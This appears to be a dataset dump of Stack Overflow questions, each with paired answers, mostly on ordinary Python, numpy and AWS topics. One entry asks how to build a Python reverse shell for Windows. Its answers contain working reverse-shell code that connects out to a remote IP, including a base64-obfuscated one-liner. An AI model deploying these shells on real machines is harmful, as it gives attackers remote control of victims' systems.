qid
int64
46k
74.7M
question
stringlengths
54
37.8k
date
stringlengths
10
10
metadata
listlengths
3
3
response_j
stringlengths
17
26k
response_k
stringlengths
26
26k
39,029,068
I want to be able to execute the following code: ``` import numpy z=numpy.zeros(4) k="z[i-1]" for i in range(len(b)): z[i]=k ``` Which should return the same output as: ``` z=numpy.zeros(4) for i in range(6): z[i]=z[i-1] ``` If I execute the first code block, I get an expected error message: ``` File "<ipython-input-982-3ba4e617a74a>", line 1, in <module> z[i]=(k) ValueError: could not convert string to float: 'z[i-1]' ``` How can I pass the text from the string into the loop so that it functions as an equation, as if the characters from the string were typed by hand?
2016/08/18
[ "https://Stackoverflow.com/questions/39029068", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5510581/" ]
Other then `eval` which is highly discouraged in production code, You can just as easily define a function that returns a specific item based on the array and index: ``` def k(arr,idx): return arr[idx-1] for i in range(len(b)): z[i]= k(z,i) ``` If this rule needs to be applied in various spots in your code then you can edit the one function to apply that logic in all the places it is needed.
Do it as following: ``` import numpy z=numpy.zeros(4) k="z[i-1]" for i in range(len(b)): z[i]=eval(k) ``` But note eval can be a security problem: <http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html>
36,716,304
Im stuck with this very simple code were I'm trying to create a function that takes a parameter and adds 1 to the result and returns it but somehow this code gives me no results. (I've called the function to see if it works.) Somebody please help me since I'm very new to python :) ``` def increment(num): num += 1 a = int(input("Type a number ")) increment(a)` ``` I changed it to ``` def increment(num): return num + 1 a = int(input("Type a number ")) increment(a)` ``` but still no results are showing after I enter a number, Does anybody know?
2016/04/19
[ "https://Stackoverflow.com/questions/36716304", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6123798/" ]
Basics: `array[slice(a,b,c)]` is equivalent to `array[a:b:c]`, and to reverse ("flip") an array use `slice(None, None, -1)`, which is the same as `array[::-1]`. So let's build the random flips for each image: ``` >>> import random >> flips = [(slice(None, None, None), ... slice(None, None, random.choice([-1, None])), ... slice(None, None, random.choice([-1, None]))) ... for _ in xrange(a.shape[0])] ``` The first slice is for the channel, the second is for the Y axis and the third is for the X axis. Let's build some test data: ``` >>> import numpy as np >>> a = np.array(range(3*2*5*5)).reshape(3,2,5,5) ``` We can apply each random flip individually to each image: ``` >>> flips[0] (slice(None, None, None), slice(None, None, -1), slice(None, None, None)) >>> a[0] array([[[ 0, 1, 2, 3, 4], [ 5, 6, 7, 8, 9], [10, 11, 12, 13, 14], [15, 16, 17, 18, 19], [20, 21, 22, 23, 24]], [[25, 26, 27, 28, 29], [30, 31, 32, 33, 34], [35, 36, 37, 38, 39], [40, 41, 42, 43, 44], [45, 46, 47, 48, 49]]]) >>> a[0][flips[0]] array([[[20, 21, 22, 23, 24], [15, 16, 17, 18, 19], [10, 11, 12, 13, 14], [ 5, 6, 7, 8, 9], [ 0, 1, 2, 3, 4]], [[45, 46, 47, 48, 49], [40, 41, 42, 43, 44], [35, 36, 37, 38, 39], [30, 31, 32, 33, 34], [25, 26, 27, 28, 29]]]) ``` As you can see, `flips[0]` flips the image vertically. Now it's simple to do it for each image: ``` >>> random_flipped = np.array([img[flip] for img, flip in zip(a, flips)]) ```
Thanks to the [awesome answer of @BlackBear](https://stackoverflow.com/a/36716579/3250126), I was able to get starting. I noticed, however, such functionality would probably run very often and thus might benefit from some performance tweaks. In thinking of how to improve the performance I tackled two things: 1. use a "pure `numpy`" implementation 2. (building upon 1.) use just-in-time compilation through `numba` This is what I came up with: ```py import numpy as np from numba import njit def np_flip(arr: np.ndarray, axis=None) -> np.ndarray: """Flip image np arrays with a (batch, row, col, band) configuration.""" forw = np.int64(1) rev = np.int64(-1) flip_ax0 = np.random.choice(np.array([forw, rev])) flip_ax1 = np.random.choice(np.array([forw, rev])) flips = tuple( ( slice(None, None, None), # TF batch slice(None, None, flip_ax0), # image rows slice(None, None, flip_ax1), # image cols slice(None, None, None), # image bands ) ) return arr[flips] # njit the function, also possible via @njit decorator njit_np_flip = njit(np_flip) ``` Benchmarks ---------- ```py import scipy.ndimage arr = np.random.randint(0, 255, size=(2, 4, 4, 3)) print(arr.shape) # (2, 4, 4, 3) arr = scipy.ndimage.zoom(input=arr, zoom=(1, 128, 128, 1), order=0) print(arr.shape) # (2, 512, 512, 3) # @BlackBear's answer def py_np_flip(arr: np.ndarray, axis=None): """Python-Heavy version of np_flip.""" # see https://stackoverflow.com/a/36716579/3250126 flips = [ ( slice(None, None, np.random.choice([-1, None])), slice(None, None, np.random.choice([-1, None])), slice(None, None, None), ) for _ in range(arr.shape[0]) ] return np.array([img[flip] for img, flip in zip(arr, flips)]) # @BlackBear's answer %timeit arr_flipped_np = np.apply_over_axes(py_np_flip, arr, axes=0) # 2.18 ms ± 34.8 µs per loop (mean ± std. dev. of 7 runs, 100 loops each) # "pure numpy" implementation %timeit arr_flipped_np = np.apply_over_axes(np_flip, arr, axes=0) # 19.2 µs ± 2.34 µs per loop (mean ± std. dev. of 7 runs, 10,000 loops each) # njit(ed) "pure numpy" implementeation %timeit arr_flipped_np = np.apply_over_axes(njit_np_flip, arr, axes=0) # 1.7 µs ± 28.9 ns per loop (mean ± std. dev. of 7 runs, 1,000,000 loops each) ``` 1600 x speed increase --------------------- ``` > 2.8 ms / 1.7 µs (2.8 × millisecond) / (1.7 × microsecond) ≈ 1647.0588 ```
48,789,294
I have a file that contains the raw data for an array of 32-bit floats. I would like to read this data and resemble it to floats and store them in a list. [![enter image description here](https://i.stack.imgur.com/1p1J9.jpg)](https://i.stack.imgur.com/1p1J9.jpg) How can I do this using python? Note: The data originates from an embedded device that may use a different endian than my desktop.
2018/02/14
[ "https://Stackoverflow.com/questions/48789294", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1235291/" ]
The standard `struct` module is good for dealing with packed binary data like this. Here's a quick example: ``` dataFromFile = "\x67\x66\x1e\x41\x01\x00\x30\x41" # an excerpt from your data import struct numFloats = len(dataFromFile) // 4 # Try decoding it as little-endian print(struct.unpack("<" + "f" * numFloats, dataFromFile)) # Output is (9.90000057220459, 11.000000953674316) # Try decoding it as big-endian print(struct.unpack(">" + "f" * numFloats, dataFromFile)) # Output is (1.0867023771258422e+24, 2.354450749630536e-38) ``` The little-endian interpretation looks a lot more meaningful in this case (9.9 and 11, with the usual floating-point inaccuracies), so I guess that's the actual format.
you can read it the file, store it in a string then parse the string and convert to float: ``` with open(“testfile.txt”) as file: data = file.read() values = data.split(" ") floatValues = [float(x) for x in values] ``` or you can use some parser from the numpy module or the csv reading files modules
54,073,810
I was trying to get data(a list) from a file and assign this list to my python script list. I want to know how to do it without having to assign all varibles manually ``` Variables = [MPDev,WDev,DDev,LDev,PDev,MPAll,WAll,DAll,LAll,PAll,MPBlit,WBlit,DBlit,LBlit,PBlit,MPCour,WCour,DCour,LCour,PCour] dataupdate = open("griddata.txt","r") datalist = dataupdate.read() #Inside the file is written: #['0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','] var = 0 for e in Variables: e = datalist[var] var += 1 ``` I got it working anyways but i would like to know a faster way to improve my skills. Thanks
2019/01/07
[ "https://Stackoverflow.com/questions/54073810", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10236621/" ]
Get used to using data as a pandas dataframe. It's easy to read, easy to write. <http://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_csv.html> ``` import pandas as pd data = pd.read_csv("griddata.txt", names = ['MPDev', 'WDev', 'DDev', 'LDev', 'PDev', 'MPAll', 'WAll', 'DAll', 'LAll', 'PAll', 'MPBlit', 'WBlit', 'DBlit', 'LBlit', 'PBlit', 'MPCour', 'WCour', 'DCour', 'LCour', 'PCour'] ) ```
``` import ast Variables = [MPDev,WDev,DDev,LDev,PDev,MPAll,WAll,DAll,LAll,PAll,MPBlit,WBlit,DBlit,LBlit,PBlit,MPCour,WCour,DCour,LCour,PCour] dataupdate = open("tmp.txt","r") datalist = ast.literal_eval(dataupdate.read()) #Inside the file is written: #['0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','] for i in Variables: i=datalist[Variables.index(i)] ```
54,073,810
I was trying to get data(a list) from a file and assign this list to my python script list. I want to know how to do it without having to assign all varibles manually ``` Variables = [MPDev,WDev,DDev,LDev,PDev,MPAll,WAll,DAll,LAll,PAll,MPBlit,WBlit,DBlit,LBlit,PBlit,MPCour,WCour,DCour,LCour,PCour] dataupdate = open("griddata.txt","r") datalist = dataupdate.read() #Inside the file is written: #['0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','] var = 0 for e in Variables: e = datalist[var] var += 1 ``` I got it working anyways but i would like to know a faster way to improve my skills. Thanks
2019/01/07
[ "https://Stackoverflow.com/questions/54073810", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10236621/" ]
Get used to using data as a pandas dataframe. It's easy to read, easy to write. <http://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_csv.html> ``` import pandas as pd data = pd.read_csv("griddata.txt", names = ['MPDev', 'WDev', 'DDev', 'LDev', 'PDev', 'MPAll', 'WAll', 'DAll', 'LAll', 'PAll', 'MPBlit', 'WBlit', 'DBlit', 'LBlit', 'PBlit', 'MPCour', 'WCour', 'DCour', 'LCour', 'PCour'] ) ```
Another alternative is using dictionary. `mydict={} var = 0 for e in Variables: mydict[e]=datalist[var] var += 1`
58,869,851
I have an issue in using python with matrix multiplication and reshape. for example, I have a column `S` of size `(16,1)` and another matrix `H` of size `(4,4)`, I need to reshape the column `S` into `(4,4)` in order to multiply it with `H` and then reshape it again into `(16,1)`, I did that in matlab as below: ``` clear all; clc; clear H = randn(4,4,16) + 1j.*randn(4,4,16); S = randn(16,1) + 1j.*randn(16,1); for ij = 1 : 16 y(:,:,ij) = reshape(H(:,:,ij)*reshape(S,4,[]),[],1); end y = mean(y,3); ``` Coming to python : ``` import numpy as np H = np.random.randn(4,4,16) + 1j * np.random.randn(4,4,16) S = np.random.randn(16,) + 1j * np.random.randn(16,) y = np.zeros((4,4,16),dtype=complex) for ij in range(16): y[:,:,ij] = np.reshape(h[:,:,ij]@S.reshape(4,4),16,1) ``` But I get an error here that we can't reshape the matrix y of size 256 into 16x1. Does anyone have an idea about how to solve this problem?
2019/11/15
[ "https://Stackoverflow.com/questions/58869851", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11082042/" ]
Simply do this: ``` S.shape = (4,4) for ij in range(16): y[:,:,ij] = H[:,:,ij] @ S S.shape = -1 # equivalent to 16 ```
There are two issues in your solution 1) reshape method takes a shape in the form of a single tuple argument, but not multiple arguments. 2) The shape of your y-array should be 16x1x16, not 4x4x16. In Matlab, there is no issue since it automatically reshapes `y` as you update it. The correct version would be the following: ``` import numpy as np H = np.random.randn(4,4,16) + 1j * np.random.randn(4,4,16) S = np.random.randn(16,) + 1j * np.random.randn(16,) y = np.zeros((16,1,16),dtype=complex) for ij in range(16): y[:,:,ij] = np.reshape(H[:,:,ij]@S.reshape((4,4)),(16,1)) ```
58,869,851
I have an issue in using python with matrix multiplication and reshape. for example, I have a column `S` of size `(16,1)` and another matrix `H` of size `(4,4)`, I need to reshape the column `S` into `(4,4)` in order to multiply it with `H` and then reshape it again into `(16,1)`, I did that in matlab as below: ``` clear all; clc; clear H = randn(4,4,16) + 1j.*randn(4,4,16); S = randn(16,1) + 1j.*randn(16,1); for ij = 1 : 16 y(:,:,ij) = reshape(H(:,:,ij)*reshape(S,4,[]),[],1); end y = mean(y,3); ``` Coming to python : ``` import numpy as np H = np.random.randn(4,4,16) + 1j * np.random.randn(4,4,16) S = np.random.randn(16,) + 1j * np.random.randn(16,) y = np.zeros((4,4,16),dtype=complex) for ij in range(16): y[:,:,ij] = np.reshape(h[:,:,ij]@S.reshape(4,4),16,1) ``` But I get an error here that we can't reshape the matrix y of size 256 into 16x1. Does anyone have an idea about how to solve this problem?
2019/11/15
[ "https://Stackoverflow.com/questions/58869851", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11082042/" ]
Simply do this: ``` S.shape = (4,4) for ij in range(16): y[:,:,ij] = H[:,:,ij] @ S S.shape = -1 # equivalent to 16 ```
[`np.dot`](https://docs.scipy.org/doc/numpy/reference/generated/numpy.dot.html) operates over the last and second-to-last axis of the two operands if they have two or more axes. You can move your axes around to use this. Keep in mind that `reshape(S, 4, 4)` in Matlab is likely equivalent to `S.reshape(4, 4).T` in Python. So given `H` of shape `(4, 4, 16)` and `S` of shape `(16,)`, you can multiply each channel of `H` by a reshaped `S` using ``` np.moveaxis(np.dot(np.moveaxis(H, -1, 0), S.reshape(4, 4).T), 0, -1) ``` The inner [`moveaxis`](https://docs.scipy.org/doc/numpy/reference/generated/numpy.moveaxis.html) call makes `H` into `(16, 4, 4)` for easy multiplication. The outer one reverses the effect. Alternatively, you could use the fact that `S` will be transposed to write ``` np.transpose(S.reshape(4, 4), np.transpose(H)) ```
58,869,851
I have an issue in using python with matrix multiplication and reshape. for example, I have a column `S` of size `(16,1)` and another matrix `H` of size `(4,4)`, I need to reshape the column `S` into `(4,4)` in order to multiply it with `H` and then reshape it again into `(16,1)`, I did that in matlab as below: ``` clear all; clc; clear H = randn(4,4,16) + 1j.*randn(4,4,16); S = randn(16,1) + 1j.*randn(16,1); for ij = 1 : 16 y(:,:,ij) = reshape(H(:,:,ij)*reshape(S,4,[]),[],1); end y = mean(y,3); ``` Coming to python : ``` import numpy as np H = np.random.randn(4,4,16) + 1j * np.random.randn(4,4,16) S = np.random.randn(16,) + 1j * np.random.randn(16,) y = np.zeros((4,4,16),dtype=complex) for ij in range(16): y[:,:,ij] = np.reshape(h[:,:,ij]@S.reshape(4,4),16,1) ``` But I get an error here that we can't reshape the matrix y of size 256 into 16x1. Does anyone have an idea about how to solve this problem?
2019/11/15
[ "https://Stackoverflow.com/questions/58869851", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11082042/" ]
[`np.dot`](https://docs.scipy.org/doc/numpy/reference/generated/numpy.dot.html) operates over the last and second-to-last axis of the two operands if they have two or more axes. You can move your axes around to use this. Keep in mind that `reshape(S, 4, 4)` in Matlab is likely equivalent to `S.reshape(4, 4).T` in Python. So given `H` of shape `(4, 4, 16)` and `S` of shape `(16,)`, you can multiply each channel of `H` by a reshaped `S` using ``` np.moveaxis(np.dot(np.moveaxis(H, -1, 0), S.reshape(4, 4).T), 0, -1) ``` The inner [`moveaxis`](https://docs.scipy.org/doc/numpy/reference/generated/numpy.moveaxis.html) call makes `H` into `(16, 4, 4)` for easy multiplication. The outer one reverses the effect. Alternatively, you could use the fact that `S` will be transposed to write ``` np.transpose(S.reshape(4, 4), np.transpose(H)) ```
There are two issues in your solution 1) reshape method takes a shape in the form of a single tuple argument, but not multiple arguments. 2) The shape of your y-array should be 16x1x16, not 4x4x16. In Matlab, there is no issue since it automatically reshapes `y` as you update it. The correct version would be the following: ``` import numpy as np H = np.random.randn(4,4,16) + 1j * np.random.randn(4,4,16) S = np.random.randn(16,) + 1j * np.random.randn(16,) y = np.zeros((16,1,16),dtype=complex) for ij in range(16): y[:,:,ij] = np.reshape(H[:,:,ij]@S.reshape((4,4)),(16,1)) ```
31,092,802
To install dependences, the [appengine-python-flask-skeleton docs](https://github.com/GoogleCloudPlatform/appengine-python-flask-skeleton) advise running this command: ``` pip install -r requirements.txt -t lib ``` That works simply enough. Now say I want to add the [Requests package](http://docs.python-requests.org/en/latest/). Ideally I just add it to the `requirements.txt` file: ``` # This requirements file lists all third-party dependencies for this project. # # Run 'pip install -r requirements.txt -t lib/' to install these dependencies # in `lib/` subdirectory. # # Note: The `lib` directory is added to `sys.path` by `appengine_config.py`. Flask==0.10 requests ``` And then re-run the command: ``` pip install -r requirements.txt -t lib ``` However, as [this Github issue](https://github.com/pypa/pip/issues/1489) for pip notes, pip is not idempotent with the `-T` option recommended by Google here. The existing flask packages will be re-added and this will lead to the following error when running the devapp ``` ImportError: cannot import name exceptions ``` How can I best work around this problem?
2015/06/27
[ "https://Stackoverflow.com/questions/31092802", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1093087/" ]
Like said, updating pip solves the issue for many, but for what it's worth I think you can get around all of this if the use of [virtualenv](https://virtualenv.pypa.io/en/latest/) is an option. Symlink `/path/to/virtualenv's/sitepackages/` to `lib/` and just always keep an up to date `requirements.txt` file. There are no duplication of packages this way and one won't have to manually install dependencies. See also <https://stackoverflow.com/a/30447848/2295256>
Upgrading to the latest version of pip solved my problem (that issue had been closed): ``` pip install -U pip ``` Otherwise, as noted in that thread, you can always just wipe out your `lib` directory and reinstall from scratch. One note of warning: if you manually added additional packages to the `lib` directory not tracked in `requirements.txt`, they would be lost and have to be re-installed manually.
54,484,627
I want to monitor EC2 by using CloudWatch-SNS-lambda (python)-SNS-Email. When I testing my python code, i find out that CW alarm "Message" contain escape processing that i cant get specific value from "Message". I check the format of the alarm with code below. ``` from __future__ import print_function import json import boto3 def lambda_handler(event, context): subject = 'subject' Messagebody = event['Records'][0]['Sns']['Message'] MY_SNS_TOPIC_ARN = 'XXXXXXXXXXXXXXXXXXXXXXXX' sns_client = boto3.client('sns') sns_client.publish( TopicArn = MY_SNS_TOPIC_ARN, Subject = subject, Message = Messagebody ) ``` which find out "Message" contains escape processing. ``` "Sns": { "Type": "Notification", "MessageId": "94be4651-8f2e-5039-9a4b-129fff80f9e8", "TopicArn": "XXXXXXXXXXXXXXXXXXXXXXX", "Subject": "ALARM: \"CPU_\" in Asia Pacific (Tokyo)", "Message": "{\"AlarmName\":\"TEST\",\"AlarmDescription\":\"TEST\",\"AWSAccountId\":\"XXXXXXXXXXX\",\"NewStateValue\":\"ALARM\",\"NewStateReason\":\"Threshold Crossed: 1 datapoint [64.633879781421 (01/02/19 15:56:00)] was greater than or equal to the threshold (40.0).\",\"StateChangeTime\":\"2019-02-01T16:06:06.908+0000\",\"Region\":\"Asia Pacific (Tokyo)\",\"OldStateValue\":\"OK\",\"Trigger\":{\"MetricName\":\"CPUUtilization\",\"Namespace\":\"AWS/EC2\",\"StatisticType\":\"Statistic\",\"Statistic\":\"AVERAGE\",\"Unit\":null,\"Dimensions\":[{\"value\":\"i-039c724383acd1a67\",\"name\":\"InstanceId\"}],\"Period\":300,\"EvaluationPeriods\":1,\"ComparisonOperator\":\"GreaterThanOrEqualToThreshold\",\"Threshold\":40.0,\"TreatMissingData\":\"\",\"EvaluateLowSampleCountPercentile\":\"\"}}", "Timestamp": "2019-02-01T16:06:06.945Z", "SignatureVersion": "1", ``` I want to get value by using something like ``` MetricName = event['Records'][0]['Sns']['Message']["MetricName"] ``` How can i achieve this with python?
2019/02/01
[ "https://Stackoverflow.com/questions/54484627", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11002216/" ]
The `Message` is a JSON string. You need to convert it to a Python dictionary first. Then, you can access its properties easily. ```py Messagebody = event['Records'][0]['Sns']['Message'] message_dict = json.loads(Messagebody) metric_name = message_dict['Trigger']['MetricName'] ```
To remove the escape-processing, you should do the following: > > MessageBody = event['Records'][0]['Sns']['Message'] > > > MessageBody = json.loads(MessageBody) > > > Then to access the Metric Name, you can do: > > MetricName= event['Records'][0]['Sns']['Message']['Trigger']['MetricName'] > > >
37,991,717
Can anyone help me on a Python reverse shell one-liner for Windows (has to be windows one-liner). I am trying to modify the one for Linux which I have used many times but this is my first time for Windows. Linux one liner : ``` python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` Taken from [Reverse Shell Cheat Sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet). So here is what I have been able to do so far: ``` C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\\WINDOWS\\system32\\cmd.exe','-i']);" ``` Well, the thing is I do get a connection back just that the shell dies. Anyone knows how to fix this or offer some suggestions? ``` nc -lvnp 443 listening on [any] 443 ... connect to [10.11.0.232] from (UNKNOWN) [10.11.1.31] 1036 ``` So the parameter to `subprocess call` must be wrong. I can't seem to get it right. The path to `cmd.exe` is correct. I can't see any corresponding parameter like `-i` in the [cmd man page](http://ss64.com/nt/cmd.html). Can anyone point me in the correct direction, please? **EDIT:** Tried without arguments to subprocess call but still the same result. The connection dies immediately. ``` C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\WINDOWS\system32\cmd.exe']);" ```
2016/06/23
[ "https://Stackoverflow.com/questions/37991717", "https://Stackoverflow.com", "https://Stackoverflow.com/users/803649/" ]
(@rockstar: I think you and I are studying the same thing!) Not a one liner, but learning from David Cullen's answer, I put together this reverse shell for Windows. ``` import os,socket,subprocess,threading; def s2p(s, p): while True: data = s.recv(1024) if len(data) > 0: p.stdin.write(data) p.stdin.flush() def p2s(s, p): while True: s.send(p.stdout.read(1)) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.11.0.37",4444)) p=subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) s2p_thread = threading.Thread(target=s2p, args=[s, p]) s2p_thread.daemon = True s2p_thread.start() p2s_thread = threading.Thread(target=p2s, args=[s, p]) p2s_thread.daemon = True p2s_thread.start() try: p.wait() except KeyboardInterrupt: s.close() ``` If anybody can condense this down to a single line, please feel free to edit my post or adapt this into your own answer...
From the [documentation](https://docs.python.org/2/library/socket.html#socket.socket.fileno) for `socket.fileno()`: > > Under Windows the small integer returned by this method cannot be used where a file descriptor can be used (such as os.fdopen()). Unix does not have this limitation. > > > I do not think you can use `os.dup2()` on the return value of `socket.fileno()` on Windows unless you are using Cygwin. I do not think you can do this as a one-liner on Windows because you need a `while` loop with multiple statements.
37,991,717
Can anyone help me on a Python reverse shell one-liner for Windows (has to be windows one-liner). I am trying to modify the one for Linux which I have used many times but this is my first time for Windows. Linux one liner : ``` python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` Taken from [Reverse Shell Cheat Sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet). So here is what I have been able to do so far: ``` C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\\WINDOWS\\system32\\cmd.exe','-i']);" ``` Well, the thing is I do get a connection back just that the shell dies. Anyone knows how to fix this or offer some suggestions? ``` nc -lvnp 443 listening on [any] 443 ... connect to [10.11.0.232] from (UNKNOWN) [10.11.1.31] 1036 ``` So the parameter to `subprocess call` must be wrong. I can't seem to get it right. The path to `cmd.exe` is correct. I can't see any corresponding parameter like `-i` in the [cmd man page](http://ss64.com/nt/cmd.html). Can anyone point me in the correct direction, please? **EDIT:** Tried without arguments to subprocess call but still the same result. The connection dies immediately. ``` C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\WINDOWS\system32\cmd.exe']);" ```
2016/06/23
[ "https://Stackoverflow.com/questions/37991717", "https://Stackoverflow.com", "https://Stackoverflow.com/users/803649/" ]
From the [documentation](https://docs.python.org/2/library/socket.html#socket.socket.fileno) for `socket.fileno()`: > > Under Windows the small integer returned by this method cannot be used where a file descriptor can be used (such as os.fdopen()). Unix does not have this limitation. > > > I do not think you can use `os.dup2()` on the return value of `socket.fileno()` on Windows unless you are using Cygwin. I do not think you can do this as a one-liner on Windows because you need a `while` loop with multiple statements.
Based on Mark E. Haase's answer, here is my improved version [645 Chars] which: * is smaller (threads are now one-liners and as many statements as possible on one line) * does not open a new command window (`shell=True`) * supports universal newlines (`text=True`) * waits for the remote host to come online if it's not online yet (`while True: try/except`) * is more reliable (`p.stdin.flush()` which means the stdin buffer does not need to be filled for the command to be executed) ```py import os, socket, subprocess, threading, sys def s2p(s, p): while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush() def p2s(s, p): while True: s.send(p.stdout.read(1).encode()) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) while True: try: s.connect((<IP ADDR>, <PORT NUMBER>)); break except: pass p=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True) threading.Thread(target=s2p, args=[s,p], daemon=True).start() threading.Thread(target=p2s, args=[s,p], daemon=True).start() try: p.wait() except: s.close(); sys.exit(0) ``` Or as a (very ugly) one-liner [663 Chars]: ```py exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n try: s.connect((<IP ADDR>, <PORT NUMBER>)); break\n except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""") ``` Or as an obfuscated one-liner (though this can't be used directly as the IP address has to be changed) [892 Chars]: ```py import base64;exec(base64.b64decode("aW1wb3J0IG9zLCBzb2NrZXQsIHN1YnByb2Nlc3MsIHRocmVhZGluZywgc3lzCmRlZiBzMnAocywgcCk6CiAgICB3aGlsZSBUcnVlOnAuc3RkaW4ud3JpdGUocy5yZWN2KDEwMjQpLmRlY29kZSgpKTsgcC5zdGRpbi5mbHVzaCgpCmRlZiBwMnMocywgcCk6CiAgICB3aGlsZSBUcnVlOiBzLnNlbmQocC5zdGRvdXQucmVhZCgxKS5lbmNvZGUoKSkKcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCndoaWxlIFRydWU6CiAgICB0cnk6IHMuY29ubmVjdCgoc3lzLmFyZ3ZbMV0sIGludChzeXMuYXJndlsyXSkpKTsgYnJlYWsKICAgIGV4Y2VwdDogcGFzcwpwPXN1YnByb2Nlc3MuUG9wZW4oWyJwb3dlcnNoZWxsLmV4ZSJdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5TVERPVVQsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSwgc2hlbGw9VHJ1ZSwgdGV4dD1UcnVlKQp0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1zMnAsIGFyZ3M9W3MscF0sIGRhZW1vbj1UcnVlKS5zdGFydCgpCnRocmVhZGluZy5UaHJlYWQodGFyZ2V0PXAycywgYXJncz1bcyxwXSwgZGFlbW9uPVRydWUpLnN0YXJ0KCkKdHJ5OiBwLndhaXQoKQpleGNlcHQ6IHMuY2xvc2UoKTsgc3lzLmV4aXQoMCk=")) ``` It can be used in the command line directly like this: ```py python -c 'exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n try: s.connect((<IP ADDR>, <PORT NUMBER>)); break\n except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""")' ```
37,991,717
Can anyone help me on a Python reverse shell one-liner for Windows (has to be windows one-liner). I am trying to modify the one for Linux which I have used many times but this is my first time for Windows. Linux one liner : ``` python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` Taken from [Reverse Shell Cheat Sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet). So here is what I have been able to do so far: ``` C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\\WINDOWS\\system32\\cmd.exe','-i']);" ``` Well, the thing is I do get a connection back just that the shell dies. Anyone knows how to fix this or offer some suggestions? ``` nc -lvnp 443 listening on [any] 443 ... connect to [10.11.0.232] from (UNKNOWN) [10.11.1.31] 1036 ``` So the parameter to `subprocess call` must be wrong. I can't seem to get it right. The path to `cmd.exe` is correct. I can't see any corresponding parameter like `-i` in the [cmd man page](http://ss64.com/nt/cmd.html). Can anyone point me in the correct direction, please? **EDIT:** Tried without arguments to 